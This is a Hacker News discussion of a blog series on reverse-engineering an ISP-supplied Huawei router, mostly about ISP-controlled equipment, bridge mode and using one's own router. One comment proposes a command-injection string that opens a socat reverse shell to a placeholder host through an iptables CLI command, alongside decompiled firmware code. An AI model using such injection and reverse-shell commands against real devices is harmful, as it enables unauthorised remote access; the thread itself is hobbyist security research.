A detailed look at the router provided by my ISP | Hacker News Reader

A detailed look at the router provided by my ISP

0x90.psaux.io

611 pointspaddlesteamer181 comments

Interesting read! There's actually 3 parts to this:

Part 2: https://0x90.psaux.io/2020/03/19/Taking-Back-What-Is-Already...

And 3: https://0x90.psaux.io/2020/03/22/Taking-Back-What-Is-Already...

Summary from the end of Part 3:

"So we managed to change passwords for both ssh and telnet, gain access to Root user for the web interface, changed that password too. We changed ACS URL to ours and remove the IP restrictions. To put it simply, we cleaned up our router from our ISP. Good for our privacy."

You forgot this bit of the summary, which I think is more interesting!

"Still there is an authorized ssh key left in the firmware but for now it’s enough that we’re keeping the ISP out. Maybe in the future, we can repack the firmware with our configuration and keys and install it on the router. For now, take care!"

The navigation arrows on top right corner seem to be backward. "Next" goes from 2 to 1, instead of 3.

It's funny to think that if you were to report all of your findings to your local newspaper (Turkish newspaper in this case), as to how Turkish ISPs have complete access to your router or how Huawei (China) has an SSH key for your router, people would go absolutely ballistic. But for us it's just another day of expected craziness and we're tired of talking about it

i don't think too many people care about this. ( yes, i live in turkey )

Yeah, no one cares outside of hackernews.

Hell, I'd imagine my grandmother or other non-tech family would be glad the telephone company can pop in and fix it

Turkish newspapers are almost universally subservient to the autocratic government. Any free press that's still somehow around has way more consequential dictatorial abuses of power to report on, if they dare.

> how Turkish ISPs have complete access to your router

You think it is going to blow people's socks off that a router provided and controlled by an ISP is accessible by that same ISP? Huh?

The Huawei SSH key is a little strange, but depressingly common for network equipment, even big names like Cisco[0].

[0] https://tools.cisco.com/security/center/content/CiscoSecurit...

> The Huawei SSH key is a little strange, but depressingly common for network equipment, even big names like Cisco...

There’s an understandable reason for this: the isp’s staff aren’t necessarily any more competent than the isp’s customers (some are, but there are so many ISPs that I suspect they are now a small minority). So just at the isp wants to be able to reset your interface devices remotely, so will Huawei and Cisco support for the ISPs themselves.

I am not implying that “understandable” means “justified”

>even big names like Cisco

Even? By now Cisco having hardcoded credentials and glaring security fuckups is a meme.

> if you were to report all of your findings to your local newspaper ... people would go absolutely ballistic.

You reckon? I don’t think they’d even be interested in hearing about it.

Where do you live and who is your local paper that leads you to believe they’d bother writing, let alone publishing, such a story?

If that stuff listen to the interface of your public IP which is most likely not the case, but yes it's still scary.

CPE is just part of the ISP's infrastructure that happens to be in your house. There is no need to trust it. Just put your own router in front of it.

Indeed, I've had a linux box between the router and the local network since the days of dial-up (originally it was the dial-up box, which made and shared the 'net connection). The only reason I've ever had to upgrade the hardware has been because the original setup only had 10MBps NICs.

I'm pretty sure my new CenturyLInk fiber router is similar. I tried to create a PPoE connection from my WRT1900 direclty to century link using the same credentials and I couldn't connect to my internet. However, now I am motivated to create a bridge and find out why.

For CenturyLink fiber I have two boxes:

Box A: the exterior fiber enters this box, the tech said it was a "translator"; and the port 4 ethernet on it goes to ...

Box B: the centurylink wireless router, which performs the PPoE with my credentials which were somehow hardwired because no one ever told me my username/password. I'm guesing TR-069? Then port 4 on this goes to ...

Box C: MY WRT1900AC, which then goes to other subnets for my cameras, lab, and office.

I figured Box B was redundant, but trying to remove it has been problematic.

B probably exists so they can split fiber between multiple end users or support things like phone service over the same link. Did you use the same VPI and VCI? PPPoE also sends an identifier (the "Host-Uniq" tag if I'm understanding it right) that probably has to match what your ISP is expecting or has assigned.

> PPoE with my credentials which were somehow hardwired because no one ever told me my username/password

They make it very hard to use your own "Box B", but I've set this up twice now (most recently last week). Get the username and password from CenturyLink (the tech that installs the service has this, or call them). Then, google search "century link vlan 201 wan tag". The trick is you need a router that has this functionality, most basic consumer ones don't.

Unfortunately, even if you follow all directions and it still doesn't work troubleshooting is a nightmare, very little or no help from their customer support.

Ah I see. My WRT1900AC doesn't have that option. I was running OpenWRT but ran into some issues and panicked back to the default firmware. Now that I have another wireless router I might dare it again.

OpenWRT is fantastic when you get used to it. I prefer the CLI but the GUI works well too.

Be aware that for many cheap routers you can't do the VLAN tagging the "normal" way via the web interface. Like this: https://blog.mapstrata.com/post/internode_openwrt/

For people with cheap/crappy hardware like me, if you have to set VLAN2 via the sub-interface then your config needs to look like this:

  config interface 'wan'
    option ifname 'eth1.2'
    option proto 'pppoe'
    option username 'your_internode_username@internode.on.net'
    option password 'SecretPassword'

All of the above can be set via the GUI, except the "eth1.2" part. The above works if you happen to be with Internode.

I had CL fiber. VLAN tagging; The vlan tagging value was so high, OpenWRT didn't support it so I was left with the useless middle box. Your mileage may very.

I was just about to re-install OpenWRT, but I guess I won't now.

OpenWRT does support VLAN tagging, it's Linux. Maybe it's a hardware support issue.

"Box A" is an ONT or optical network terminal, which is really just a media converter with some additional intelligence related to how GPON schedules use of the media. It's more or less the same thing as an ADSL modem (actual modem only) except that GPON usually uses Ethernet while ADSL usually uses ATM. But both are used the other way sometimes.

For "Box B" you can use anything you wish as long as it supports PPPoE. Contact CenturyLink by phone or chat to tell them you need your PPP credentials, they'll have no trouble giving them to you. The only trick besides PPP is that CenturyLink usually uses a VLAN for customer equipment on their GPON, but that's pretty common with ethernet over ADSL as well so routers made for use with a DSL modem should have it in their UIs alongside the PPP info. Unfortunately most newer routers are made without this use case in mind so there may not be support, in which case you can always upgrade to something a little more configurable or use a computer as a router. You can ask the CSR for the VLAN ID but in every case I've seen it's 201.

I've done this a number of times and never had the CSR give me any trouble. They also don't seem to keep very good track of who has CL-owned CPE, I've ended up with "free" CenturyLink routers a couple of times because they fell through the cracks when switching to my own.

In the Netherlands we now have a law where ISPs must allow your own choice of network equipment. This means they must give you the required information on how to connect your own device with their network.

I have a fiber connection, which I connected directly to a Ubiquity router through a suitable SFP module. My ISP supplied the information on the fiber type and which VLAN ID's to setup for internet, TV and telephony.

This way I have my own equipment, that I control myself. The 'modem' [0] which my ISP supplied is still in its original, unopened box.

It's been more common for DSL too, but I haven't heard of anyone using their own DOCSIS modem for Ziggo though. Have you?

Same in Germany! ISPs hate it because it it makes their lives a lot harder - in cable networks, they now have to deal with a zoo of endpoints on a shared medium vs. a small set of standardized devices.

As a customer, I like it.

> ISPs hate it because it it makes their lives a lot harder - in cable networks, they now have to deal with a zoo of endpoints on a shared medium vs. a small set of standardized devices.

In other words, ISPs hate it because it forces them to actually do their jobs and be ISPs. The Internet itself is "a zoo of endpoints on a shared medium", and ISP stands for Internet Service Provider.

To bolster your point: Honestly they don't need to do much - the infrastructure is already there as a matter of being able to turn people's service up/down/on/off.

There is always a provider-managed CPE device that functions as the service demarcation point. This is the point where your contracted service speed is enforced (shape + egress queue and ingress policing).

You can have literally whatever router (dumb, smart, next-gen, whatever) spewing bits at X rate. The CPE will essentially normalize (police) that bit rate to your contracted speed (upstream scenario).

Not true for actually shared media on the last mile. (also, if it's not on Customer Premises it's not a CPE)

It's not the provision of Internet that's the problem, it's the customer service requests.

e.g., AT&T could provide perfect service to the home endpoint, but the customer bought some aftermarket router from their cousin, who had configured it for Verizon. Customer calls AT&T to holler. Tier 1 support doesn't know what that particular router config GUI even looks like, so it gets bumped to T2 or T3. Ultimately to find out that the customer's cousin had hardcoded DNS to some internal Verizon system that's not visible to AT&T.

Repeat x100K. ISPs job isn't just "provide the Internet," it's also "provide all the troubleshooting for every non-technical customer who just wants to watch Netflix but doesn't even know what a router is"

Well, my understanding is that once you have your own router, it's up to you to ensure its configured correctly.

Exactly. I have my own router (and cable modem, for that matter), and I don't call Comcast when one of them breaks; I fix it myself, since I own them.

Problem is you'll eventually reach a point where the problem is deep and requires them to escalate, and if you aren't checking the box of tested customer cpe they'll stop. Example of this is when I found a Comcast backbone link with an incorrect/inconsistent MTU setting. Had to go back channel in the end to someone on the ibone team, but I had no chance in hell of getting that fixed promptly via regular support.

> you'll eventually reach a point where the problem is deep and requires them to escalate, and if you aren't checking the box of tested customer cpe they'll stop

I've been a Comcast customer for more than 20 years (in two different states) and have never encountered a problem like this, so I expect such problems are extremely rare. Every issue I've had has been of the kind where Comcast's support person can see right away that there's a problem on their end because they can't even see my cable modem's status even though I confirm to them that it's powered up and the cable is connected (and of course I have to go through the dance of rebooting it multiple times before they'll be satisfied). Most of the time they put me on hold for a while and then come back and the problem is fixed (I assume because some tech in the background rebooted or reset something that was borked). Once they had to send a tech to my house and it turned out there was a bad connection in the junction box they had installed outside.

> ISPs job isn't just "provide the Internet," it's also "provide all the troubleshooting for every non-technical customer who just wants to watch Netflix but doesn't even know what a router is"

No ISP that I'm aware of will provide troubleshooting for devices they don't own. They just say "sorry, not our device, not our problem". When I installed my own cable modem and router, Comcast was quite clear about that. And I said "fine, no problem".

My ISP does, but they're the exception to the rule and cater to techies. Of course support questions for random devices need to be more specific than just "it doesn't work".

> My ISP does

Out of curiosity, which ISP do you have?

init7.net. They have a bunch of official guides, but also help with other devices and have debugged issues with new devices. Basically if your device is capable they want to make it work.

Init7 is great, I only had to tick a checkbox saying something like "I know what I am doing" and apart from providing the technical information they left me alone. Only had one problem with them that they resolved very quickly (the fiber cable got damaged somewhere in the basement).

+1 to init7. They've gone above and beyond when I needed them to change their routing policies to improve end to end latency to a specific destination. Good luck getting that from a major us carrier. And I wasn't even a customer.

The ISP I work for does, and it's a very large one (not in the US). If a router is not ours, we check for sync or if PPPoE is up. We tell the customer what's the result of our tests and offer a technician if they are willing to pay in case it's not our fault.

Most people are unwilling to pay, and yell at customer service. Most of the times, specially when the router has sync it's customer fault.

> we check for sync or if PPPoE is up.

The problem with this kind of procedure is that it's only a reasonable way to locate the problem when there are problems at that very moment. You're getting stonewalled when - during the day - you're reporting that it frequently loses sync during the night.

We can track sync changes, or really almost anything, crc errors, traffic, whatever we want really, although we only do it on demand.

You put a customer ID in the tracking system an it queries and stores results. It also performs analysis automatically, but most cases just puts the result in a frontend for analysis.

> provide all the troubleshooting for every non-technical customer who just wants to watch Netflix but doesn't even know what a router is

People who don't even know what a router is don't buy their own equipment. Those who buy better routers don't require support for them, they call when there's a problem between the ISP and the router.

I disagree. If it is standard practice to BYOR, family or friends might give one to grandma, saying "use this, it will save you money".

I used to install satellite TV and saw this all the time. People would get old receivers from friends and family. Fortunately for me, the receivers were proprietary to that service (we don't use generic pay TV receivers in Canada) and the old ones were built like tanks. If people could have supplied any old cheap generic receiver, I probably would have had a bad time.

I work at an ISP of sorts. It is a regional research and education network. We are owned by our members. Heterogeneity is definitely par for the course, but that does not stop us from trying to roll out some ubiquity where we can. Many of our CPE routers are the same make and model, and that makes maintenance and analysis much less error prone. I.e. better service for our member institutions.

If you want an ISP whose competitive advantage is dealing with whatever crazy shit the edge throws at it, then that is your prerogative. But having some ground rules and baseline behavior makes it so that the ISP can focus on more rewarding tasks, such as negotiating peerings, establishing direct tunnels, improving network observability, and predicting necessary backbone upgrades.

> having some ground rules and baseline behavior

Doesn't "if you choose to use your own cable modem/router, it must meet the DOCSIS 3 specification" do this? That's the rule Comcast made me follow.

>The Internet itself is "a zoo of endpoints on a shared medium",

No, the shared medium in this case is referring the last part of the cable network where everyone in a neighborhood is transmitting effectively onto the same cable.

All it takes is a single device with a broken configuration to spew crap onto the wrong channels, taking down the whole neighborhood. https://en.wikipedia.org/wiki/DOCSIS#Physical_layer

On the Internet it stops being a shared medium the minute it gets out of the cable network into fiber/ethernet switched+routed interconnections.

That is a really good point and one I hadn't considered.

Is it really that easy for a single device to take down a neighborhood? For example, could a bad actor trivially disrupt a node with a modified modem? I guess that would be difficult to defend against.

I don't know enough about docsis to say if it has any protections against out-of-spec devices.

I don't know why I'm surprised when things outside my area of expertise are fragile, considering things inside my area of expertise are fragile.

> Is it really that easy for a single device to take down a neighborhood? For example, could a bad actor trivially disrupt a node with a modified modem? I guess that would be difficult to defend against.

Yes, similarly to how you could jam a radio frequency. Fortunately, this is rare and only ever happens due to hardware failures in modems.

Can't they still just provide you with a "modem" and give you full IP access through that? What difference does it make if they put the modem inside our outside your premises? (Eg they put a switch/DSLAM/modem into a box on the street and then they give you a cable?)

They also hate it, because they cannot charge rent, like for the ISP owned router.

That's very uncommon in Germany, most ISPs provide a router for free and only charge for upgrades to more expensive ones.

The US has (had?) some network neutrality rules around discriminating against different types of hardware, but AT&T just does it anyway. (They require you to use their DSL modem + router + wifi and it has broken support for adding a second router behind it.)

Dealing with the same thing with AT&T fiber. There was word of a hack involving putting your router behind a switch with the AT&T router after cloning the MAC, then booting them both up and letting your router pick up the DHCP responses along with the AT&T router. Once the AT&T router had done its proprietary handshake, you could disconnect the AT&T router.

Unfortunately I had no luck with that - my loose theory is that my EdgeRouter was doing a ping check to see if the IP was already taken before accepting the DHCP lease...

I was able to get "IP passthrough" mode working with the AT&T router though. The key hiccup was that the AT&T router had to be on a different subnet than my router's LAN subnet.

I just moved to SF and got AT&T gigabit fiber in mid-February. I followed this guide and got it working at gigabit speeds (eventually): https://www.reddit.com/r/Ubiquiti/comments/cjw9jt/howto_bypa...

It's been working great since I set it up; highly recommended!

Hardware offloading needs to be enabled and QoS disabled for gigabit speeds (~900Mbps both ways, simultaneous ~500Mbps both ways).

If you send me an email (hn-202003@jonpurdy.com), I can send you my exact configs.

I have Spectrum cable Internet. I use their modem, but I supply my own router, and they've never given me any trouble. In fact, they recently upgraded my modem (from a Scientific Atlanta 2203C to a Ubee E31U2V1) and they didn't send me a router. The Ubee E31U2V1, like the Scientific Atlanta 2203C before it, only has one Ethernet port, and their official guide to getting the new modem working involved rebooting an external router, so there's no possible way they have a problem with customer-owned routers.

Which works out great for me. I can use OpenWRT with no hassle.

More to the point, I see the cable stuff as "ISP land" in that it's directly interfacing with their internal hardware, and so has to dance to their tune very directly, whereas Ethernet and TCP/IP are common, and so will obey my rules in my home. I don't expect my modem to perform adblocking, which is why my router does it, and I'm not going to be stupid and try to "uncap" my modem to get more speed, so I don't see a point to being able to provide my own cable modem. As long as I can own the router which provides the only path in and out of my LAN, I can do everything I'm capable of doing anyway, as far as I can see.

> I don't see a point to being able to provide my own cable modem

Other cable providers (e.g. Comcast) charge you a monthly fee (~$5-15) to rent their modem. Buying a modem gets cost effective pretty quickly.

I use my own one because the $2 Huawei ones perform really poorly, they’re the source of a large portion of general internet performance issues for a lot of people.

> I'm not going to be stupid and try to "uncap" my modem to get more speed

I think this modem "uncapping" thing has mostly been an urban myth. Maybe there were some really early cable modem systems in the 90s where that would have been possible, but AFAIK with DOCSIS the speed is regulated by the CMTS [0], not the modems.

[0] https://en.wikipedia.org/wiki/Cable_modem_termination_system

> I think this modem "uncapping" thing has mostly been an urban myth. Maybe there were some really early cable modem systems in the 90s where that would have been possible, but AFAIK with DOCSIS the speed is regulated by the CMTS [0], not the modems.

It depends in precisely what CMTS is running, what firmware it has and the ISP's willingness to replace/upgrade old hardware at great expense.

At the last telco I worked for we had about 12 CMTS's, and 2 of them were holding up a bunch of upgrades because of their age. One of the things they specifically couldn't do was provision the speed of the individual circuits.

How can you do without the modem? Which ubiquity product is that?

Typically, FTTH doesn't require a "modem".

In my case, I have VZ Fios in the northeast US. Their termination point at my house has an RJ45 Ethernet connection. It goes directly to my pfSense router.

So they actually have an ONT somewhere and provides you with a RJ45 Ethernet port only?

This is brilliant! Why aren't more ISP doing it? I dont want another ONT / Modem / piece of equipment in my flat.

Same in New Zealand.

There's a Huawei ONT fixed to the wall in the cupboard under the stairs, which is owned by the fibre network company.

I have a short length of cat6 connecting that to my own router, and the fibre network company patched the far end to my choice of ISP.

https://en.wikipedia.org/wiki/Ultra-Fast_Broadband#Technolog...

Usually (always?) the way FiOS works is that every subscriber gets his own ONT. That ONT can be configured to output network bits on either an RJ45 port or using MoCA.

For many people MoCA is more convenient because most houses and apartments are already wired for "cable", ie RG-6 for television purposes. FiOS is offered as a "triple play" service: internet, TV, and phone. Cable is the TV part of that.

There usually isn't an existing Cat 6 connection from the ONT to the living area of the "flat". (Except we don't have "flats" here in the USA). So Verizon will use MoCA to send bits to a more conveniently located wireless access point that they can also supply.

When Verizon installed my FiOS I didn't want to deal with MoCA or their access point, so I had them run Ethernet from the ONT to my den.

I'm not clear on your objection to an ONT. They way GPON works is that the ONT has to be somewhere nearby; if it's not in your flat it still has to be elsewhere in the apartment building.

>I'm not clear on your objection to an ONT.

Just one less pieces of equipment really. Having an RJ45 cable directly to Router is just a much cleaner solution. For those of us living in a extremely small sub 200 Square Feet apartment, getting rid of an equipment results in less cluster.

I used the Unifi Security Gateway to replace my ISP's modem.

Fiber internet (at least where I live) is just a TCP/IP connection. You could even connect it straight to your PC and it would work.

So, I use a SFP module that it suitable for the wavelength and mode of my fiber connection, and plugged that in an Ubiquity Edgerouter. In case of my ISP I had to configure a VLAN on the external interface, as they use separate VLANs for internet, TV and telephony. Once you configure the VLAN, the router will receive an IP address over DHCP and you'll be online.

What's you cost and speed of the fiber?

Also, if you didn't need so much bandwidth, is it possible to just order a basic 100Mb/10mb connection for a nominal fee of, say, 30Euro?

The speeds in the US aren't actually that bad, but you're basically forced to pay for everything: paid cable TV, equipment rental fees, etc, and your $40 plan ends up creeping towards $100 / month after the fees and taxes, with increases every year.

Don't know about NL, but in Hungary and a lot of other EU countries you can get 100Mb/10Mb for about 10 EUR, gigabit for 20-30.

Central / East Europe sounds like a paradise sometimes. Cheap rent, more conservative cultures, and fast internet at low speeds.

What I'm guessing, though, is that 10EUR internet and 200EUR apartment rentals are the equivalent of our $70 internet and $1500 one bedroom apartments when adjusted for salaries.

This varies greatly by locale and is not uniform across the USA. In Berkeley, California I have fiber service that terminates in my own equipment, no rented equipment and no bundled services (TV, phone, etc). It's nominally symmetric gigabit service for $40/month.

For me, in NL, it's about 55 Euro per month for 200/200 fiber and TV (including fees and taxes). Unfortunately this increases every year in NL as well.

As far as I'm aware, UK doesn't have a law like this, but I've never had a situation where an ISP cared, they just tell you that if you have problems they might not be able to help. I think you get interop issues with TV and landline with those ISPs where everything is bundled into one fibre, but the internet bit usually works fine.

Do you know if this applies to cable modems too? Are they required to allow a 3rd party modem that they normally wouldn't provide to customers?

I'm not completely sure about this, as I don't have a cable connection to my house (only fiber) so I never paid attention. But AFIAK the major cable providers here allow you to configure the supplied modem-router into passthrough mode (thus, only acting as a modem) so you can install your own router behind it.

I have never met someone who attempted to install their own cable modem. I do know that the cable modulation standard (DOCSIS) is wildly complicated, so even buying the right type of cable modem for your connection would be challenging. There may also be licensing issues involved that would prevent you from buying such modem completely.

I know some cable ISPs outside NL will allow it if your modem is from a reputable brand without any known issues (and compatible with whatever DOCSIS version they're using of course). Ziggo's "connectbox" modem/router even in bridge mode has quite poor latency stability so I was hoping I could use this law to persuade them to activate an Arris SURFboard or some other decent brand modem.

I don't know if it's "law" in America but I've never seen a major ISP give any more guff than sometimes making a technician come out to read the modem's MAC address. I've never had a ISP's router or modem on my networks

Same. From my experience you can use a modem of your choice, you just need to provide your MAC address to your ISP and its good to go.

This law is a tech-support nightmare.

You can call your ISP with any arbitrary piece of non-branded random AliExpress $#@$ of a network eq. and they must walk you through configuring it? That does not make much sense to me.

Or it is strong motivation to be the perfectly standard dumb pipe the user wanted to pay for in the first place.

No, they have to provide the required values.

Parent note that the ISP provide a router anyway. It's safe to assume that most people will simply use that, if not for the support just because it is already there.

Yeah this. My mom isn't ever going to add a 3rd party router. Even most of the technical people I know (well paid python devs, etc.) probably wouldn't mess the on-prem ISP gear.

I do network engineering for a living, so I totally would, but I'm an outlier compared to the rest of the population.

It's the same in New Zealand, my particular ISP offers IPoE[0]. I have a repurposed PowerEdge R210II connected as a firewall/router.

[0]:https://en.wikipedia.org/wiki/IPoE

Apparently a polish carrier called Multimedia has recently introduced a new, revolutionary service for some customers. It's called "set up a custom wi-fi configuration", and it's just 5 pln (a little over $1)! It lets you think up of a ssid and password, and configure your router to use those! That's an amazing invention, isn't it? /s

Some customers apparently have absolutely no access to their routers, not even to the web interface, and they can't use their own either. All reconfiguration must be done through the customer service portal or by phone. That means the carrier can change for every little thing, including changing the Wi-Fi config! I'm not sure if you can even bridge, but I guess not. Note that this does not affect all customers of that carrier, just a minority.

Couldn't you just daisy chain a second router via Ethernet and use it? Bonus points for VPN-ing all of your traffic.

Daisy-chaining routers is can severely degrade some services (gaming, p2p) due to NAT. Assuming the ISP-provided one supports PCP or UPnP-IGD you need a client on your own router that relays port forwarding configuration to the upstream router. This is possible but may need non-trival setup.

PCP that allows ingress connections without an established egress connection is rarely enabled. The same applies to UPnP because of the baddies.

https://en.wikipedia.org/wiki/Port_Control_Protocol#Security

Fantastic write up from a hacking point of view. I did wonder about this statement though:

"This is very invasive and unacceptable. It may seem necessary to apply security patches published by your ISP but the user should be able to disable it whenever she wants."

Legally, at least in countries where I've lived, the ISP still owns the router. This surprised me a bit when I first found out, but then I got used to the idea, but you should treat any ISP or telecom gear in your house as something that's "rented but still owned and controlled by someone else".

And that is why I have my own router plugged into the ISP router:)

True, but I think it's worth comparing it to other utilities in your home - what if your electric company could make all your lightbulbs 20% dimmer without notice? Or if your water heater was remotely administered? ISPs, like mobile telcos, like to claim they must have control over your hardware "for security" but I think the most charitable interpretation is that it's to make their customer service dept. sweat less (more nefarious possibilities exist, of course).

The difference is that non-updated routers can cause global problems. At the very least as an ISP I'd want to say you can look after updates yourself, but we will disable your access to the internet (other than to get the update from us) whenever we try to push an update to you and you reject it.

This is why I like separate modems, so there is a clear border between you and the ISP. Sadly currently most of the providers only give you AIOs.

it looks like this CLI has some hardcoded shell commands with variable substitutions that look possibly unprotected against command injection.

For example

  iptables %s > %s 2>&1

could probably be executed as

  iptables -L; socat tcp-connect:$RHOST:$RPORT exec:sh,pty,stderr,setsid,sigint,sane > /var/IptablesInfo 2>&1

by issuing

  iptables -L; socat tcp-connect:$RHOST:$RPORT exec:sh,pty,stderr,setsid,sigint,sane

and therefore it might be possible to get real shell access too.

Depends if they `execve` or run the command inside a shell.

I'd bet for (1), but who knows.

redirections aren't parsed by exec....

Indeed, I read the command's template too fast. Well, in this case it's worrysome

Controlling arguments without shell often still leads to RCE though, because a lot of software has some flag that runs some command

https://0x90909090.blogspot.com/2015/07/no-one-expect-comman...

Hello, OP here, I've actually spent considerable amount time to find a code execution. I know you'll want to learn details of FUN_004122c0 but here is the decompiled version of iptables part from ghidra:

undefined4 FUN_004045a0(int param_1,int param_2)

{ int iVar1; int iVar2; char pcVar3; char cVar4; code pcVar5; undefined auStack544 [256]; undefined auStack288 [260];

  FUN_00412530(auStack544,0,0x100);
  FUN_00412530(auStack288,0,0x100);
  if (param_1 == 0) {
    FUN_004122c0(auStack288,0x100,"iptables > %s 2>&1","/var/IptablesInfo");
  }
  else {
    iVar1 = FUN_00412210(0x100);
    if (iVar1 == 0) {
      return 0x40010009;
    }
    cVar4 = '\0';
    while ((iVar2 = *param_2, iVar2 != 0 && (cVar4 != '\x10'))) {
      if (cVar4 == '\0') {
        FUN_004122c0(iVar1,0x100,0x412c84,iVar2);
      }
      else {
        FUN_004122c0(iVar1,0x100,"%s %s",iVar1,iVar2);
      }
      cVar4 = cVar4 + '\x01';
      param_2 = param_2 + 1;
    }
    FUN_004122c0(auStack288,0x100,"iptables %s > %s 2>&1",iVar1,"/var/IptablesInfo");
    FUN_00412660(iVar1);
  }
  FUN_00412330(auStack288);
  iVar1 = FUN_004123c0("/var/IptablesInfo",0x414f68);
  if (iVar1 == 0) {
    pcVar5 = FUN_004126e0;
    pcVar3 = "Fail\r";
  }
  else {
    while (iVar2 = FUN_00412470(auStack544,0x100,iVar1), iVar2 != 0) {
      FUN_004126b0(0x412c84,auStack544);
      FUN_004121a0(0xd);
    }
    FUN_00412520(DAT_0042b010);
    FUN_004123a0(iVar1);
    pcVar5 = FUN_00412500;
    pcVar3 = "/var/IptablesInfo";
  }
  (*pcVar5)(pcVar3);
  return 0;

}
Any ideas?

i guess you already tried issuing commands like i mentioned?!
i am still confused by this code but to me it looks like this has been originally written in another language but maybe this is just what it looks like after de-compiling. seeing this function would likely be more interesting.

Yep, I tried. No luck there

Very interesting article.
What about that precompiled .ssh/authorized_keys with user z00163152@HUAWEI-627FB9A3 mentioned in Part 3?
Any reason why a router firmware would permit root access to anyone at all? Definitely sounds like a backdoor to me.

That was the worst part. I would have that bombshell as the lede. And then delete it if possible.

...and that's why my ISPs router is running in modem mode with a non-ISP-controlled router from Ubiquiti behind it - which I may replace with a pfSense box in the future.
I'm pretty happy that my cable ISP is allowing this mode so I don't have to double-NAT in my setup.

If your ISP didn't have that feature, could you just replace the cable modem too? My ISP's router is running EuroDOCSIS 3.0 and I'm wondering if I could replace the router with a modem + router of my own.

if you happened to live in Germany there is a law in place that force ISPs to allow that. But if you would live in Germany you would probably know about this. That said there is no technical reason making it impossible. If you connect an unknown device here, you get access to the customer web panel only and can register your device using it. Afterwards it gets provisioned as usual (with caveats [no PacketCable for example])

Yes, you could, but the new router+modem needs to be "accepted" by the DOCSIS provisioning. Talk to the support about it.

Sadly I could not, since the ISP is defining the router as the endpoint of it's network so there is no freedom to choose different models.

practically though what is the difference between having the endpoint in a shaft by the elevator or in your apartment or even down the street? in all scenarios i'd put my own router behind the ISP equipment and run my local network however i want.
the only issue is with getting a public ip address for inbound connections.
here we are not getting public ip addresses anyways, so the point is moot for me. but if you do get one, then all they need to do is configure their router to forward the public ip to yours.
in my case the ISP even installed two routers. one was theirs that i had no access to and one was "ours" that i was able to configure as i liked or replace with my own. both routers had their own wifi, but i don't use the one from the ISP endpoint router

I have been so disappointed with my ubiquiti hardware. That UI is gorgeous, but lacks some real functionality that I need. I can’t block BitTorrent (see forums). And I can’t see a detailed traffic log; only the categories. Plus, those pretty graphs that tell you how much data you’ve used doesn’t give a time frame. I have no idea if it’s a week or a month.
I think pfSense will be my next too.

I'd be grateful for guidance eg a link to a writeup of recommended hardware and config for a reasonably technical audience, eg "Given a Verizon FIOS G1100, put it in bridge mode and connect hw that supports software X"...

most of the time you only require PPPoE or DHCP as you practically speaking get a ethernet tunnel to your ISP using that bridge. Some ISPs additionally segment this network by VLANs so your list of required features is probably already complete here.

If you just have internet service from Verizon, and your router is already hooked up to the ONT by Ethernet, you can pretty much just pull the cable from that and hook it up to any Ubiquiti unit. I have a USG 3 and it works swimmingly.
For those who also have TV service, it’s more complicated, since the STBs talk TCP/IP over MoCA for various services (I believe including the program guide and DVR functions). The Ubiquiti forums have lots of posts on people trying (and succeeding) to get their gear working with FiOS.

Awesome; thanks v much!!

This is why, in my case, the ISP's router (that awful box Verizon provides with FIOS) is sitting, beside the DMARC, unplugged and powered off.
My DMARC has a hot ethernet jack, and my firewall (PC running Linux) that I control is connected to that ethernet jack. No ISP shenanigans (other than what they can remotely do to configure the FIOS DMARC itself).

I recently upgraded my internet speed and my pfSense box was limiting my top download speed. So, I just went from pfSense to a Ubiquiti Secure Gateway. There are pros and cons of each, but I couldn't find any trustworthy pfSense hardware with the performance of a USG for anywhere near the same price. I do miss the configurability of pfSense though so I might switch back some day. That said, the ubiquiti interface and provisioning model is really slick.

You're lucky your ISP's router offers you that option. My ISP's VDSL2 router would require "unlocking" in order to get bridge mode and it can't be easily replaced.

I never thought to nmap my own router until reading this.
PORT STATE SERVICE 53/tcp open domain 80/tcp open http 631/tcp open ipp 5000/tcp open upnp 7777/tcp open cbt 20005/tcp open btx
Now begins the three-hours-and-counting rabbit hole of trying to figure out what the hell is running on ports 7777 and 20005. Or why UPNP is apparently running, despite UPNP being explicitly disabled on the Netgear router's admin page.

Maybe it's a remote administration port for your ISP. I have a router provided by Froniter, formerly Verizon FiOS, where port 4567 is always open and cannot be closed with a firewall rule from the router's web UI (grayed out). After some googling I found out that it's their maintenance port: https://www.speedguide.net/port.php?port=4567
For a while I had my own OpenWRT router in place of the ISP one, but I think they got wise to it and blocked the MAC. I changed it to match the ISP router's MAC address, but it only worked for about 3 minutes before being blocked again.

I bought both my modem and my router, so I'd be a little incredulous if my ISP had somehow forced a port open on it.
The 20005 one may be some port that NetGear uses for its USB Printing, I've found some articles that mention it.
It also struck me that I hit it with nmap using the LAN IP, so perhaps these are only open within the network. I probably need to hit the external IP of the router to see what is externally open. ShieldsUP! didn't show anything unusual.[1]
EDIT: Disclosure of a vulnerability regarding port 20005[2], and Netgear confirming that it does affect my router[3], but should have been fixed. I assume the "fix" was fixing the buffer overflow vulnerability, rather than closing the port altogether.
[1] https://www.grc.com/x/ne.dll?bh0bkyd2
[2] https://www.kb.cert.org/vuls/id/177092/
[3] https://kb.netgear.com/28393/NETGEAR-Product-Vulnerability-A...

> After looking into folders, I found some interesting files. I won’t go through them here but I want to mention just one of them: [$ cat etc/ssh/authorized_keys]. Maybe an engineer from Huawei (I assume z00163152@HUAWEI-627FB9A3) who owns a specific DSS key, can connect all HG253s routers without needing a password, who knows?
Who knows indeed?!

Trivia: Strictly speaking a box that does NAT is not a router in the IP protocol sense, it's a kind of proxy. The router requirements RFC explicitly forbids altering most fields (incl the address field) in the IP header.

Very true. Yet at the same time, it does route traffic to the appropriate boxes. And the name 'router', when referring to something someone has at their house, has entered the vernacular to mean "the box at home which lets me share the internet connection across all my computers".
Most folks have no idea how it works behind the scenes, which typically is a combination of NAT (IPv4), routing (IPv6), DHCP, DNS, UPnP, and more. So, it's just "the router".

RFC 1918 does allow that the internet was changing rather fast back in 1995 and accepts it probably wont be the final word: https://tools.ietf.org/html/rfc1812#section-1.3.1

The box in people's home's colloquially known as a router actually commonly combines a lot of functions into one:
* router
* firewall
* NAT device
* modem
* switch
* access point
* DNS resolver
* DHCP server
And probably others I'm not thinking of :-)

I call them “terminal adapters”, because I’m still stuck in the ISDN age.

ONT in the case of fiber. Don't know if it technically counts as a modem.

Media converter maybe? (Like those $100 or so fiber to ethernet converters, I say this as it’s usually a modem/router plugged into the ONT‘s ethernet port that does isp to cpe authentication, tunneling, etc. so the ONT is just converting fiber (from isps OLT) to ethernet for something more common to plug into)

Modem comes from MODulator/DEModulator. It's taking a signal of one sort (electrical) and modulating light to send info, and also demodulating incoming light to receive. It's a modem.

